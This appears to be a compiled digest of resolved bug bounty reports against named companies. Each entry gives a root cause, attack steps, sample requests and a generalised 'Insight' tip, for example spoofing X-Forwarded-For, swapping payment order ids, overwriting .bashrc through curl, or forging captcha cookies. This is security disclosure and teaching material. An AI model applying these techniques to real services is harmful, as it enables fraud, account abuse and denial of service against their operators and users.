Specimen #2861888 · bykea · awarded · 72 votes · resolved
Program bykeaSurface apiChain GET /v1/config (hash) -> PUT /v1/bidding (forged bid)Tag account-takeover
Root cause
An unauthenticated config endpoint returns a server-generated hash bound to a trip_id; the bidding endpoint accepts that hash plus a forged bid without checking the bidder's authorization, letting anyone inflate a victim's offered fare.
Method
- GET /v1/config?trip_id=<victim_trip> to obtain the signing hash for that trip
- PUT /v1/bidding with the hash and an inflated bid value for the victim's trip
- Observe the inflated fare appear on the driver's screen
GET https://boleelagao.bykea.net/v1/config?lat=..&lng=..&service_code=23&trip_id=<victim_trip>
PUT /v1/bidding (body includes returned hash + inflated bid)
Insight — When a 'security' token/hash is issued by a separate endpoint keyed only on an object id, it is not a secret: fetch it for a victim's object then replay it into the signed action. Look for two-step signed flows where step one is unauthenticated.
Real-world example
Non-expiring promotion offerId replayed after privilege revocation
◆ Medium
Specimen #1656380 · reddit · awarded · 70 votes · resolved
Program redditSurface graphqlTag graphql
Root cause
Reddit Talk speaker/host promotion offerIds never expire and are not invalidated on demotion, so a demoted user replays the original accept request to regain their promoted role.
Method
- As host, promote the attacker to speaker/host and capture the accept request (contains offerId)
- As host, demote the attacker back to listener
- As attacker, resend the saved accept request; the role is regained, repeatable
POST https://gql.reddit.com
{"variables":{"platformUserId":"<PLATFORM_USER_ID>","offerId":"<UUID_OFFER_ID>"},"id":"475c91dd4480"}
Insight — One-time action tokens (invites, offers, promotions) must expire and be revoked when the granting state changes. Save the accept/redeem request and replay it after the privilege is revoked to test for missing token lifecycle checks.
Real-world example
Victim login lockout by spoofing identity via client-controlled steamid cookie
◆ Medium
Specimen #1179232 · cs_money · USD 300 · 68 votes · resolved
Program cs_moneySurface web
Root cause
The 2FA-confirm endpoint takes the account identity from an attacker-settable steamid cookie (no integrity/validation), so submitting several wrong codes against the victim's SteamID trips the per-account lockout and blocks the victim's login.
Method
- Log in with 2FA and capture POST /login/confirm
- Set Cookie: steamid=<victim_steam_id>
- Submit 4 wrong codes -> victim's account is locked out of login for 5 minutes
- Repeat to sustain the DoS; SteamID is public
POST /login/confirm HTTP/1.1
Host: cs.money
Cookie: steamid=<victim_steam_id>;
{"token":"foo","code":"foo"}
Insight — When a security decision (whose lockout counter to increment) is driven by a client-supplied identifier, an attacker can weaponize the lockout against arbitrary victims. Check whether identity on OTP/lockout endpoints comes from the session or from a tamperable cookie/param.
Real-world example
Whitespace/TRIM-after-validation bypass of an entitlement check
◆ Medium
Specimen #1029027 · imgur · awarded · 67 votes · resolved
Program imgurSurface web
Root cause
The server validates the requested item id, rejecting paid ones, but a later TRIM strips a leading space so a padded id passes validation yet resolves to the paid resource.
Method
- List available items to learn the exact paid id (GET /account/v1/accounts/me/avatars)
- PATCH the profile setting the id with a leading space so the validation lookup misses the 'paid' flag
- Post-validation TRIM removes the space -> the paid avatar is applied for free
PATCH /account/v1/accounts/me
{"avatar_id":" subscription/spooktober-pumpkin", "id": <id>}
Insight — Mismatched normalization is a goldmine: if input is validated raw but trimmed/canonicalized before use, pad values with spaces, null bytes, case, or trailing dots to slip past the check while still resolving to the protected object.
Real-world example
CAPTCHA bypass by switching HTTP method (POST->PUT) and reusing token
◆ Medium
Specimen #206653 · automattic · awarded · 64 votes · resolved
Program automatticSurface webTag account-takeover
Root cause
CAPTCHA/nonce validation was enforced only on the POST handler; replaying the request as PUT (reusing or blanking g-recaptcha-response) skipped verification, allowing unlimited submissions.
Method
- Submit the protected form once with a valid captcha
- Capture the request, change method POST -> PUT
- Reuse the old g-recaptcha-response (or send any value)
- Replay unlimited times; captcha is not re-checked
PUT /wp-json/brc/v1/approval-requests HTTP/1.1
...&g-recaptcha-response=<old-or-any-value>&
Insight — Security checks (captcha, CSRF, rate limit, authz) are often bound to one HTTP method. Try method tampering (PUT/PATCH/OPTIONS) and captcha-token reuse/removal to slip past them.
Real-world example
Chaining state endpoints out of order to reset a restriction flag
◆ Medium
Specimen #2868164 · bykea · awarded · 63 votes · resolved
Program bykeaSurface apiChain GET bookings -> PUT location(reset) -> POST bid
Root cause
A driver restriction (negative-balance Bronze partners cannot accept trips) is enforced by an availability state that can be reset by calling backend endpoints in an unintended sequence, then bidding.
Method
- GET /v2/:city_id/bookings to enumerate active trips
- PUT /api/v2/driver/update/location with any trip_id to reset availability state
- POST /api/v2/offer/bid to accept the trip despite the negative-balance block
GET /v2/<city_id>/bookings -> PUT /api/v2/driver/update/location (any trip_id) -> POST /api/v2/offer/bid
Insight — Server-side restrictions are often just a flag set by one endpoint and cleared by another; enumerate the state-changing endpoints and replay them out of the intended workflow order to reset a block the UI won't let you touch.
Real-world example
Email spoofing via shared mail-provider SPF + account recycling
◆ Medium
Specimen #981824 · basecamp · awarded · 58 votes · resolved
Program basecampSurface webTag webhook
Root cause
The target authorized a third-party support/email SaaS (HelpScout) to send on behalf of its primary domain via SPF. Because the SaaS lets any customer claim any address it can verify, and the target recycled unpaid trial addresses after 30 days, an attacker could re-verify a recycled address inside the SaaS and thereafter send authenticated mail as that address.
Method
- dig the target domain TXT and read the SPF record to find every third-party sender include (e.g. include:helpscoutemail.com)
- Sign up for that same SaaS provider yourself
- Add a custom sending address on the target's primary domain that you can verify (e.g. via a trial account you created on the target)
- Cancel/abandon the trial so the address is recycled and re-registerable by the real owner, but your SaaS-side sending authorization persists
- Send mail as that address through the SaaS; it passes SPF/DKIM because the target's DNS already authorizes the SaaS
dig hey.com txt
# -> "v=spf1 include:_spf.hey.com include:helpscoutemail.com -all"
# helpscoutemail.com is a shared multi-tenant sender authorized to send as hey.com
Insight — Enumerate every include: in a target's SPF. If any authorized sender is a multi-tenant SaaS that lets customers self-verify sending addresses on the parent domain, you can often send authenticated spoofed mail. Address-recycling policies widen the window.
Real-world example
Negative-value integer manipulation bypasses a quota check
◆ Medium
Specimen #1068301 · line · 500 · 57 votes · resolved
Program lineSurface apiTag file-upload
Root cause
The client transmits the file size, which the server recomputes/trusts; setting it negative makes the storage-quota comparison pass, allowing uploads that should be rejected for insufficient space.
Method
- Attempt to upload a file larger than remaining storage -> 'not enough space' error
- Intercept the upload where the file size is (re)sent and set it to a negative number
- The quota check (size <= remaining) passes for negatives and the upload is allowed
Set the client-supplied file-size field to a negative integer (e.g. -1) to defeat size<=quota
Insight — Any client-supplied size/amount/count fed into a bounds check should be tested with negative and integer-overflow values: signed comparisons frequently accept negatives, bypassing quota/limit logic.
Real-world example
Feedback/rating endpoint doesn't validate trip<->driver association
◆ Medium
Specimen #2894018 · bykea · awarded · 56 votes · resolved
Program bykeaSurface api
Root cause
The feedback endpoint verifies the trip ID belongs to the caller but not that the supplied driver ID was the actual driver of that trip, so a passenger links their own valid trip to any driver ID and submits an arbitrary rating.
Method
- Take (or reuse) a legitimate trip you own and capture the feedback submission
- Keep your valid trip ID but replace the driver ID with any target driver's ID
- Submit; the rating is applied to the arbitrary driver (one driver per trip, overwriting prior)
POST /feedback
{"trip_id":<YOUR_VALID_TRIP>,"driver_id":<ANY_DRIVER_ID>,"rating":1,...}
Insight — For actions that couple two objects (trip+driver, order+seller, booking+host), the app often validates only the object you 'own' and trusts the other ID. Test by pairing your legitimate object with a foreign counterpart ID. Reputation/rating systems are abusable even when scoped to one victim per owned object.
Real-world example
curl -OJi flag-order guard bypass -> arbitrary local file overwrite
◆ Medium
Specimen #887462 · curl · awarded · 55 votes · resolved
Program curlSurface otherChain overwrite .bashrc -> command execution on next shell
Root cause
curl's guard that -i and -J are incompatible only triggered for -iJ order; with -Ji the check was skipped, and the Content-Disposition rename path overwrote an existing local file without the usual existence check.
Method
- Host a server returning Content-Disposition: filename=".bashrc" with a payload body
- Victim runs curl -OJi from their home directory
- curl renames output over the existing .bashrc despite claiming it refused
HTTP/1.1 200 OK
Content-disposition: attachment; filename=".bashrc"
echo pwn
# victim: curl -OJi https://TARGET/
Insight — Test both orderings of mutually-exclusive CLI/API flags; validation guards are frequently order-sensitive. Server-controlled filenames (Content-Disposition) are a write primitive - target shell rc / autorun files.
Real-world example
Premium-tier price bypass via input-normalization mismatch
◆ Medium
Specimen #963774 · basecamp · awarded · 53 votes · resolved
Program basecampSurface web
Root cause
Premium/pricing check runs on the raw input before normalization; a later step strips characters, yielding a premium value at a non-premium price. Validation and normalization disagree.
Method
- Try to register the desired premium value (e.g. a <4-char email local part 'jp@hey.com') -> premium $999 prompt
- Insert padding whitespace so the pre-check sees a non-premium length: 'jp @hey.com'
- Submit at the non-premium price ($99)
- Server strips the spaces afterward, provisioning the 2-char premium address at the cheap price
desired: jp@hey.com (premium, $999)
submit: jp @hey.com (two spaces -> passes as 4-char non-premium, $99)
Insight — Whenever a tier/price/uniqueness gate precedes a trimming/normalization step, pad or encode the value so the gate misjudges it, then let normalization collapse it back. Test spaces, unicode, trailing dots, case, zero-width chars.
Real-world example
Client-side premium gating bypass via API field
◆ Medium
Specimen #989415 · cs_money · awarded · 48 votes · resolved
Program cs_moneySurface api
Root cause
A premium-only feature (custom skin background) was enforced only in the client UI; the save API accepted a 'background' field regardless of subscription, so setting it directly in POST /api/build/save applied the paid feature for free.
Method
- Grab/save a build to capture POST /api/build/save
- Add or edit the premium-only 'background' field in the JSON body
- Submit; server stores it without checking subscription
- Paid feature active without prime
POST /api/build/save HTTP/1.1
Host: 3d.cs.money
Content-Type: application/json
{"data":{...,"background":"http://LINK_CUSTOM_BACKGROUND","backgroundFilters":{...}}}
Insight — Premium/entitlement features enforced only in the UI are bypassable by sending the underlying field directly. Diff free vs paid requests, then inject the paid-only parameter into the free account's API call.
Real-world example
Pay-less-for-more via order_id response substitution
◆ Medium
Specimen #1213765 · reddit · USD 500 · 42 votes · resolved
Program redditSurface api
Root cause
The coin/order creation flow returns an order_id tied to a price, but the client-side amount is trusted and the final charge is bound to the low-price order_id while the fulfilled quantity comes from a separate request. Reusing a cheap order's id for an expensive package pays the cheap price but delivers the expensive goods.
Method
- Buy the smallest package; capture POST /api/v2/gold/paypal/create_coin_purchase_order and save the returned order_id
- Cancel; start a purchase of a larger package
- Intercept the create_coin_purchase_order response and replace its order_id with the saved cheap one
- Complete PayPal at the low amount -> receive the large package's coins
POST /api/v2/gold/paypal/create_coin_purchase_order body: coins=1100&pennies=399
response -> replace {"order_id":"<expensive>"} with {"order_id":"<cheap_saved>"}
Insight — In payment flows, check whether price, quantity, and the payment/order token are validated together server-side. If quantity and price come from different requests, swap a previously-issued cheap order token into an expensive purchase. Classic trust-boundary reuse across steps.
Real-world example
Privilege/perk granted by email domain of signup address
◆ Medium
Specimen #1296584 · glovo · none · 41 votes · resolved
Program glovoSurface web
Root cause
Glovo grants internal-employee perks (free delivery, 'Glovo Team' status) based on the signup email's domain (@glovoapp.com) without verifying the address is a real, controlled company mailbox, so anyone registering with a crafted company-domain email gets staff privileges.
Method
- Sign up with an email of the form something@glovoapp.com (company domain).
- Place an order and observe free-delivery / staff perks not available to a normal email.
- Compare against a control account on a public email domain.
# register with: admin_@glovoapp.com -> profile shows 'FREE delivery Glovo Team'
Insight — Never grant trust from an email domain alone. Test signup with the target's own corporate domain (@company.com) — apps often map internal domains to employee privileges without confirming ownership via a verification email.
Real-world example
Privilege escalation via invitation acceptance without email verification
◆ Medium
Specimen #2885269 · shopify · 3500 · 240 votes · resolved
Program shopifySurface webTag account-takeover
Root cause
Accepting a Shopify Partners invitation no longer requires clicking the emailed verification link, so anyone who can create an account with the invited (victim) email address — no inbox access — can accept the invite and assume that role/owner.
Method
- Harvest an invited owner's email (a low-priv member can view the invited-owners list)
- Register a Shopify account with that email (no verification enforced)
- Log in and accept the pending invitation -> escalate to Owner
Insight — After any 'we simplified onboarding' change, re-test whether invitation acceptance still binds to inbox ownership. If account creation doesn't require email verification AND invites are keyed by email, unverified-email registration = takeover of any invited role.
Real-world example
Silent file write via deeplink into in-app browser download
◆ Medium
Specimen #1768166 · metamask · awarded · 40 votes · resolved
Program metamaskSurface mobile-androidChain deeplink -> in-app WebView -> auto-download -> arbi
Root cause
An exported deeplink opens the app's in-app WebView browser at an attacker URL; the WebView download handler writes attacker-supplied files to disk immediately with no user confirmation prompt.
Method
- Craft a deeplink (custom scheme / intent URI) that opens MetaMask's in-app browser at an attacker page
- Attacker page triggers a download (Content-Disposition/blob) that the WebView auto-saves
- File is written to disk before the user is alerted
metamask://...open in-app browser at https://attacker/malicious-download (WebView DownloadListener saves without prompt)
Insight — On Android, enumerate exported deeplinks/intent-filters that route into a WebView. Test WebView DownloadListener/setDownloadListener behavior: does it prompt, sandbox the path, or blindly write? Combine deeplink + auto-download for drive-by file writes.
Real-world example
Rate-limit bypass via spoofed X-Forwarded-For
◆ Medium
Specimen #727487 · snapchat · awarded · 39 votes · resolved
Program snapchatSurface api
Root cause
Per-IP rate limiting keys off the client-controllable X-Forwarded-For header. Setting it to 127.0.0.1 (or rotating values) resets the counter, defeating strict throttles on sensitive endpoints (e.g. SMS/download).
Method
- Identify a strictly rate-limited endpoint (e.g. /stories_everywhere/download_sms)
- Add X-Forwarded-For: 127.0.0.1 to each POST
- Vary the header value to get unlimited attempts
POST /stories_everywhere/download_sms
X-Forwarded-For: 127.0.0.1 (also rotate: X-Forwarded-For: <random ip>)
Insight — On any throttled endpoint, replay with X-Forwarded-For / X-Real-IP / X-Client-IP / Forwarded set to 127.0.0.1 or rotating IPs. Loopback often maps to an unlimited internal bucket. Applies to OTP send, login, coupon, invite endpoints.
Real-world example
Exam/certification integrity bypass via answer resubmission
◆ Medium
Specimen #662583 · semrush · awarded · 38 votes · resolved
Program semrushSurface web
Root cause
Exam grading trusts a client-submitted answers object with no server-side session binding or answer-immutability; resubmitting the final request with all-correct answers issues a passing certificate.
Method
- Take/finish the exam with any answers to learn the request shape
- Retake the exam
- Replay the final submit request with the JSON answers set to the correct pattern (1=selected, empty=unselected)
- Receive certificate
{"answers":{"503":"","505":"1","591":"1","1340":"1","1351":"1","1358":"1","1365":"1"}}
Insight — Client-graded or client-submitted quizzes/surveys/eligibility checks let you forge the outcome by editing the scored payload. Test whether grading, session, and question set are enforced server-side and whether the same request can be replayed with modified answers.
Real-world example
Bypass repository push rules via the email-to-MR .patch ingestion channel
◆ Medium
Specimen #526570 · gitlab · awarded · 36 votes · resolved
Program gitlabSurface webTag webhook
Root cause
Push rules (signed-commit, author-email, prohibited-file, secret, commit-message regex) are enforced only on the interactive git-push path; the alternate 'create MR by emailing a .patch attachment' ingestion path applies the patch without running the same pre-receive checks.
Method
- Configure strict push rules on a project (committer restriction, reject unsigned, author-is-user, prohibit secrets/filenames, message regex)
- Find the project's incoming-MR email address (Merge Requests page modal)
- Locally craft a commit that violates every rule (forged From:, unsigned, test.exe, id_dsa)
- git format-patch the commit and edit its From: line
- Email the .patch as an attachment to the incoming address
- MR is created with all rule-violating commits applied
git format-patch -n HEAD^
# edit patch header: From: Lin Jen <lin@yen.com>
# email .patch to incoming+<ns>-<proj>-<id>-<token>-request@incoming.example.gitlab.com
Insight — When a control is implemented as a pre-receive/UI gate, enumerate every alternate write path into the same resource (email-to-MR, API import, mirror/pull, webhook, mobile). Secondary ingestion channels frequently skip the primary path's validation.
Real-world example
Password-reset token leaked to third parties via Referer header
◆ Medium
Specimen #272379 · aspen · none · 36 votes · resolved
Program aspenSurface webChain Referer leak -> token capture -> account takeoverTag account-takeover
Root cause
The reset token lives in the URL of the reset page. If that page contains outbound links to third-party origins without rel=noreferrer / a strict Referrer-Policy, clicking any of them sends the full reset URL (token included) in the Referer header to an external site.
Method
- Request a password reset and open the reset link
- On the reset page, click any external link (footer social/github links)
- Capture the outbound request in a proxy
- Read the full reset URL incl. token in the Referer header
- Reuse the token to reset the victim's password
Referer: https://target.com/accounts/password/reset/key/1zp5-4pt-8163732eb05d188994ec/
Insight — On any page holding a secret in its URL (reset tokens, invite tokens, magic links), audit every outbound link/resource for Referer leakage. Fixes: put token in POST body, add Referrer-Policy: no-referrer, rel='noopener noreferrer' on external links, one-time short-lived tokens.
Real-world example
Null/type-confused value stored, then weaponized to no-interaction DoS via sharing
◆ Medium
Specimen #1237700 · semrush · awarded · 35 votes · resolved
Program semrushSurface apiChain null tag stored -> front-end crash -> delivered via pr
Root cause
A tag-name input accepted a null (wrong type) value; the stored null crashed the front-end that listed projects, and project-sharing let an attacker push the poisoned tag into a victim's account with no interaction.
Method
- Send the tags API request with the tag name set to null
- Front-end that renders the project/tag list white-screens and cannot self-recover
- Invite the victim's email to a project bearing the sabotaged tag -> victim's project list breaks with zero interaction
PUT /projects/api/projects/tags/PROJECT_ID/?key=API_KEY { "name": null }
Insight — Test type-confusion (null, array, object, number-as-string) on fields the client assumes are strings; a stored bad value that crashes the renderer becomes a real vuln once a sharing/invite feature delivers it to other tenants.
Real-world example
Server trusts client-supplied amount on plan upgrade (pay 0 for paid tier)
◆ Medium
Specimen #254211 · eternal · awarded · 34 votes · resolved
Program eternalSurface web
Root cause
The membership upgrade endpoint accepts a client-supplied price/amount and does not validate it against the selected plan_id's real cost, so the amount can be tampered to 0 (or any value) to obtain the paid plan.
Method
- Brute-force the numeric plan_id GET parameter to enumerate hidden/internal plans
- Identify a cheap membership plan_id
- Purchase it, then on the Upgrade Plan flow select the 1-year plan_id
- Intercept the request and set the amount to 0
- Observe the paid membership is granted
# enumerate plan_id (Intruder), then on upgrade request:
plan_id=<1yr_gold_id>&amount=0
Insight — Never trust price/amount/quantity sent by the client. Enumerate id parameters (plan_id, product_id) to find internal/test SKUs, then tamper the amount and re-check that the server recomputes cost server-side.
Real-world example
Disclose unpublished draft records by feeding their ID to the report/flag-content endpoint
◆ Medium
Specimen #1675674 · linkedin · awarded · 33 votes · resolved
Program linkedinSurface webTag account-takeover
Root cause
The abuse/flag-content flow accepts an arbitrary content URN without checking that the content is published or visible to the reporter; the moderation notification then echoes details of the (draft) object back to the attacker.
Method
- Enumerate a numeric/URN job-posting ID including drafts
- Start reporting any visible post and intercept the flag-content request
- Swap the contentUrn to the target draft job URN and forward - submits without error
- Receive a Trust & Safety 'we reviewed your report' notification that discloses the draft's details
POST /lite/flag-content?contentUrn=urn:li:jobPosting:<DRAFT_ID>&reason=SPAM_CONTENT&contentSource=JOBS_PREMIUM_OFFLINE&authorProfileId=0&trk=report-content HTTP/2
Host: www.linkedin.com
Csrf-Token: ajax:<token>
X-Isajaxform: 1
Insight — Moderation/report endpoints are a classic authz blind spot: they accept object IDs the caller can't normally view, and the resulting notification/email leaks object metadata. Try feeding draft/private/other-user IDs into flag/report/abuse flows.
Real-world example
Email uniqueness/verification enforced only client-side
◆ Medium
Specimen #825646 · stagingdoteverydotorg · none · 32 votes · resolved
Program stagingdoteverydotorgSurface webTag account-takeover
Root cause
The UI blocks setting your email to one already registered, but the backend update-profile endpoint performs no uniqueness/verification check. Intercepting the request and substituting any (including another user's) email succeeds.
Method
- Sign up and go to profile edit
- Submit the update and intercept the request in a proxy
- Change the email field to an arbitrary or already-registered address
- Backend accepts it -> attacker's account now holds the victim's email
POST /profile/update
email=victim%40example.com # UI forbids, backend accepts
Insight — Client-side-only validation (uniqueness, format, verification) is not a control. For every UI restriction, replay the raw request with the forbidden value. Unverified email change can enable impersonation/account confusion and reset-based takeover.
Real-world example
Quantity rounded up but priced down (fractional seat billing)
◆ Medium
Specimen #1446090 · krisp · awarded · 30 votes · resolved
Program krispSurface api
Root cause
When adding seats the server granted Math.ceil(qty) seats but charged Math.floor(qty)*price, so a fractional quantity delivered more seats than it billed.
Method
- Start team billing and intercept the add-seat request
- Change seats to a decimal like 1.9
- Server adds 2 seats but only bills for 1; repeat add/delete to reduce net price
PUT /v2/seats { "seats": 1.9 } # +2 seats granted, +$60 charged
Insight — On any quantity/price endpoint, send fractional, negative, and huge values; look for a ceil/floor (or round) mismatch between the granted amount and the billed amount. The client never exposes decimals - only the API does.
Real-world example
Bypass a tier/selection limit by editing the intercepted server response
◆ Medium
Specimen #672487 · curve · awarded · 29 votes · resolved
Program curveSurface mobile-android
Root cause
The client decides whether the 'change retailers' UI is available based on the fetched state; editing the response so the current-selection list is empty tricks the client into letting a non-premium user reselect/change retailers beyond the allowed limit.
Method
- Non-premium user selects the max 3 retailers and confirms (no edit option shown)
- Reopen 'Earn curve cash' and intercept the GET .../merchants response
- Replace the merchants array with an empty list: {"merchants":[]}
- Client now offers a fresh selection; pick 3 new retailers repeatedly to cover all merchants
GET /v1/rewards/users/programs/<program-id>/merchants
--- edit response body to: ---
{"success":true,"data":{"merchants":[]}}
Insight — When a limit is enforced by client logic reading server state, tamper the response (not the request): resetting the 'already used' list to empty re-opens a one-time or capped action.
Real-world example
Mirror action lacks the controls of its counterpart (subscribe vs unsubscribe)
◆ Medium
Specimen #230328 · nextcloud · none · 29 votes · resolved
Program nextcloudSurface web
Root cause
The subscribe flow is gated by double-email entry, reCAPTCHA and email confirmation, but the paired unsubscribe action (?p=unsubscribe) has none of them - anyone can unsubscribe any known email, and there is no rate limit for bulk abuse.
Method
- Find the subscribe URL ?p=subscribe&id=1
- Guess the mirror action by editing the verb: ?p=unsubscribe&id=1
- Submit any target email; it is unsubscribed without confirmation/CAPTCHA
- Burp Intruder an email list (no rate limit) for mass unsubscribe
https://TARGET/?p=unsubscribe&id=1 (POST email=victim@example.com)
Insight — Enumerate the inverse/sibling of any protected action (subscribe/unsubscribe, add/remove, enable/disable). The dangerous half is frequently shipped without the anti-abuse controls placed on the primary half.
Real-world example
Brute-force license/activation codes: no rate limit and captcha skipped on first request
◆ Medium
Specimen #911880 · clario · USD 300 · 28 votes · resolved
Program clarioSurface web
Root cause
The activation-code endpoint enforces no server-side rate limit and the first request in a session is not gated by the captcha, so codes can be enumerated/generated at scale.
Method
- Go to My Licenses -> Enter Activation Code
- Intercept POST /my-licenses/enter-activation-code and send to Intruder
- Set the code parameter as the payload position
- Run a wordlist/brute of codes; valid vs invalid distinguishable by error text
POST /my-licenses/enter-activation-code HTTP/1.1
Host: account.mackeeper.com
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
csrf=<t>&code=ABCDEFGH12345678
Insight — Captcha/anti-automation is frequently only checked after the first attempt or on a later step; the initial request is often unprotected. Always test the very first call of a flow for missing rate limit + missing captcha.
Real-world example
Entitlement bypass: install any pro/disabled pack by iterating packId
◆ Medium
Specimen #777942 · superhuman · awarded · 27 votes · resolved
Program superhumanSurface api
Root cause
The Coda pack-install endpoint added a pack by packId without verifying the user's entitlement to that pack's tier, so iterating packId installed free/pro/disabled packs for free.
Method
- Capture the add-pack POST while installing any pack in a doc
- Change packId to a paid/pro/disabled pack's id (200 = valid, 400 = invalid)
- Reload the doc; the pro pack is installed and usable
POST /internalAppApi/documents/[doc ID]/packs HTTP/1.1
Host: coda.io
Content-Type: application/json
X-Csrf-Token: ...
{"packId":1063}
Insight — Add/enable/install endpoints that take a resource id often check that the id exists but not that YOU are entitled to it. Enumerate ids across tiers (free/pro/internal) and watch status codes to map the catalog and unlock paid features.
Real-world example
Hardware wallet signs transaction without verifying unlock_time field
◆ Medium
Specimen #817245 · monero · none · 27 votes · resolved
Program moneroSurface otherTag account-takeover
Root cause
Monero hardware-wallet firmware signs transactions without parsing/verifying the unlock_time field the host software supplies. Malware on the host (the exact adversary a hardware wallet is meant to defend against) can set an enormous unlock_time; the user approves a normal-looking transfer and permanently locks all funds.
Method
- Create a wallet with monero-wallet-cli using Trezor or Ledger as the keystore.
- Issue a locked_transfer with a very high unlock time (host-controlled field not shown/verified on device).
- Sign on the device; funds become spendable only after the (astronomically distant) unlock time = permanent lock.
monero-wallet-cli> locked_transfer <addr> <amount> <very_high_unlock_time>
Insight — When auditing hardware wallets / trusted-display signers, enumerate every security-relevant transaction field the host controls and confirm the device parses and DISPLAYS each before signing. Fields the firmware ignores (unlock_time, fee, change address) are attacker-controllable even though a hardware wallet is assumed to neutralize host malware.
Real-world example
CAPTCHA gate bypassed by setting its client cookie to any value
◆ Medium
Specimen #920357 · automattic · awarded · 26 votes · resolved
Program automatticSurface web
Root cause
CAPTCHA-protected surveys tracked solved-state in a client cookie (pd-captcha_form_SURVEYID) whose value was never validated server-side, so setting it to any arbitrary value satisfied the gate.
Method
- Open a CAPTCHA-protected survey/poll
- Solve it once to see the pd-captcha_form_SURVEYID cookie set
- Delete the cookie -> CAPTCHA returns; instead set it to any random value
- Reload: survey is accessible and submittable without solving CAPTCHA
document.cookie = "pd-captcha_form_SURVEYID=anythingrandom; path=/"
// server accepts any value -> captcha bypassed
Insight — Any anti-automation/one-time gate whose satisfied-state lives in a client cookie/localStorage flag is bypassable. Verify the token is a server-validated proof (HMAC/nonce), not just a presence flag. Try arbitrary and reused values.
Real-world example
Edit KYC-locked identity fields via a direct PATCH after verification
◆ Medium
Specimen #1446107 · exness · awarded · 25 votes · resolved
Program exnessSurface api
Root cause
After identity verification the UI hides name/DOB/address editing, but the underlying PATCH endpoint still accepts changes with no post-verification lock; separately, uploaded ID documents are never matched against the entered personal info.
Method
- Create a real account and complete KYC (documents can even be someone else's - no name/address match is enforced)
- In Burp history find the personal-info request used during verification
- Replay it as a PATCH with modified fields after verification completes
- Receive 200 {"status":"OK"} and see the profile now shows the changed identity
PATCH /kyc_back/api/v2/surveys/personal_info HTTP/1.1
Host: my.exness.com
Content-Type: application/json
{"first_name":"test-1","last_name":"test-2","dob":"1990-01-01","address":"test-4"}
Insight — When a field is 'read-only after verification' only in the UI, look for the write endpoint that verification itself used - it is often still open. Also test KYC upload flows for whether the document is actually cross-checked against the typed identity.
Real-world example
Client-side-only length check on GraphQL rename
◆ Medium
Specimen #1244798 · khanacademy · none · 24 votes · resolved
Program khanacademySurface graphqlTag graphql
Root cause
A field length limit (class name, expected 50 chars) was enforced only in the UI; the GraphQL mutation accepted 100k+ character strings, enabling stored oversized content that breaks templates and crashes low-memory clients.
Method
- Find a UI-limited field (e.g. class name)
- Send the underlying GraphQL mutation directly with a very long value in the parameter
- Server stores the oversized string (>100k chars)
POST /api/internal/graphql/renameStudentListMutation
variables: { name: "AAAA...(100000+ chars)..." }
Insight — Every client-side maxlength/format constraint is untrusted; replay the raw API/GraphQL call with oversized or malformed values and check for missing server-side validation (stored DoS, template breakage, downstream injection).
Real-world example
Forced referral attribution via GET-set cookie in <img>
◆ Medium
Specimen #423506 · shopify · awarded · 24 votes · resolved
Program shopifySurface webTag account-takeover
Root cause
A referral link set the affiliate 'source' cookie via a simple GET with no CSRF/interaction; embedding it as an image force-attributes any later signup to the attacker, who then sees the merchant's name/email/phone/events (and bonus).
Method
- Embed https://shopify.com/?ref=ATTACKER as an <img> on a page victims visit
- Victim later signs up; store is attributed to attacker
- Attacker reads referred-merchant PII/events in the affiliate portal
<img src="https://shopify.com/?ref=ATTACKER">
Insight — State-changing GETs that set attribution/tracking cookies are forgeable via <img>; abuse referral/affiliate flows to force-associate victims and read the partner-side data leak.
Real-world example
OTP/verification bypass by flipping the response validation boolean
◆ Medium
Specimen #1943252 · mars · none · 23 votes · resolved
Program marsSurface web
Root cause
The client decides whether a submitted verification code is correct based on a boolean in the server response; intercepting and changing false->true makes the client proceed as if the code were valid.
Method
- Start the flow requiring an email/phone code (appointment booking)
- Enter a random/incorrect code
- Intercept the verify response in Burp (do intercept response)
- Change the validation field false -> true and forward -> flow completes
# intercepted verify response, flip:
... "verified":false ... -> ... "verified":true ...
Insight — When a code/OTP check returns a boolean the client acts on, tamper the response rather than guessing the code. If the next step trusts that boolean instead of re-validating server-side, verification is bypassed.
Real-world example
Cart quantity/price limit bypass via editing URL item:qty params
◆ Medium
Specimen #246803 · snapchat · 250 · 22 votes · resolved
Program snapchatSurface webTag account-takeover
Root cause
Quantity limits were enforced only by disabling UI '+' buttons; the checkout URL encodes 'productId:quantity' tuples that can be edited directly, and no server-side re-validation occurs after add-to-cart.
Method
- Add items up to the UI limit so the '+' buttons disable
- Copy the CHECKOUT link containing 'id:qty' tuples (e.g. 24637373189:10)
- Edit the quantity to an arbitrary value (e.g. :25000) and load the URL
- Price updates to the tampered quantity; proceed to payment
https://orders.spectacles.com/cart/24637376965:6,24637373189:2500,24637375493:25000?...&access_token=...
Insight — Client-side/UI-only limits are not enforcement. Whenever quantities, prices, or limits appear in a URL/hidden field, tamper them directly and check for a server-side validation step after add-to-cart. (This report is CWE-mislabeled as smuggling; it is business logic.)
Real-world example
Mass email-bounce DoS via unrestricted invites (SES reputation suspension)
◆ Medium
Specimen #823915 · security · none · 18 votes · resolved
Program securitySurface web
Root cause
A program-invite endpoint accepted RFC5322-invalid addresses (e.g. anyemail$1@anything.com) with no rate limit and no address validation. Sending many invites to invalid addresses generates a flood of hard bounces, which pushes the org's AWS SES account into review/suspension - a DoS of the whole email-sending capability (not just the app).
Method
- Find an endpoint that emails arbitrary addresses on user action (invites, share, notify)
- Confirm no RFC5322 validation and no rate limit (submit anyemail$1@anything.com)
- Submit many invalid/undeliverable addresses to generate hard bounces
- Bounce rate crosses provider threshold -> SES/ESP suspends sending -> email DoS
POST /invite {"email":"anyemail$1@anything.com"} # repeat with many invalid addresses
Insight — Third-party abuse: DoS the provider, not the server. Email invite/notify features with no address validation or send caps let you weaponize the ESP's own bounce/complaint reputation controls (AWS SES, SendGrid) to suspend the target's outbound email. Also applies to SMS/push quotas. Test safely - a few invalid addresses prove the validation gap without actually tripping suspension.
Real-world example
URL-rewrite/tracking-blocker bypass via backslash-slash normalization
◆ Medium
Specimen #1050656 · basecamp · awarded · 17 votes · resolved
Program basecampSurface webTag cors
Root cause
An email image-rewriting proxy blacklists protocol-relative `//` sources but normalizes `\/\` (backslash-slash) to the same URL after the check, so the client fetches the external resource directly, defeating tracker/IP stripping.
Method
- Identify the blacklist pattern the rewriter keys on (leading `//`, `http://`, etc.).
- Insert a backslash to break the pattern while the browser still normalizes it to a valid protocol-relative URL.
